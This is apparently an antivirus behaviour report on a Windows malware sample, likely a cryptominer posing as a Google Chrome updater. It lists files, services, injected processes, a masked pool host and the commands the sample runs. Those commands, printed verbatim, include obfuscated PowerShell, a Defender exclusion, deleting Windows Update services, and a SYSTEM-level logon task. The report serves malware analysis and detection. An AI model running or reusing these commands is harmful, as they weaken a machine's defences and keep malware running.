Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\googleupdatetaskmachineqcq
- %WINDIR%\tasks\dialersvc32.job
- <SYSTEM32>\tasks\dialersvc32
- %WINDIR%\tasks\dialersvc64.job
- <SYSTEM32>\tasks\dialersvc64
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%ProgramFiles%\Google\Libs\WR64.sys'
Creates the following services
- 'WinRing0_1_2_0' %ProgramFiles%\Google\Libs\WR64.sys
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\dialer.exe
the following user processes:
- iexplore.exe
Hooks functions
in browsers
- firefox.exe process, advapi32.dll module
- iexplore.exe process, advapi32.dll module
Modifies file system
Creates the following files
- %ProgramFiles%\google\chrome\updater.exe
- %TEMP%\449e.tmp
- %WINDIR%\temp\d603.tmp
- %ProgramFiles%\google\libs\wr64.sys
- %ProgramFiles%\google\libs\g.log
- %WINDIR%\temp\e8d9.tmp
Modifies the HOSTS file.
Network activity
Connects to
- 'po##.#ashvault.pro':8888
TCP
Other
- 'po##.#ashvault.pro':8888
UDP
- DNS ASK po##.#ashvault.pro
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#ubiakut#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks ...
- '%ProgramFiles%\google\chrome\updater.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#wdmlkqhor#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Sys...
- '%ProgramFiles%\google\chrome\updater.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ...' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
- '<SYSTEM32>\cmd.exe' /c mkdir "%ProgramFiles%\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "%ProgramFiles%\Google\Libs\g.log"
- '<SYSTEM32>\dialer.exe' wrgmjuhlaqwmln
- '%WINDIR%\syswow64\dllhost.exe' /Processid:{c2fff522-7489-485f-8d02-d1329045bb03}
- '<SYSTEM32>\dllhost.exe' /Processid:{86a1a5ff-e25d-4e50-9638-2a5678aab87d}
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ...
- '<SYSTEM32>\schtasks.exe' /run /tn GoogleUpdateTaskMachineQCQ
- '<SYSTEM32>\dialer.exe'
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQCQ /tr "'%ProgramFiles%\Google\Chrome\updater.exe'"
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\wbem\wmic.exe' PATH Win32_VideoController GET Name, VideoProcessor
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#wdmlkqhor#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Sys...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentContr...
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\dialer.exe' azvofrvpucvufcru 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPrqBymCm+Z5ixc+hig85/4xYrMX8U5bJ2k1IT+KrO6hFBQVroHowdyzF71Z04nGZ5WdYBY/KVytftQoYJMp30ufZcjoJfb/5pujHrOj2exw60608NnAqLvMWIQN/3WdsnzpOZnG...
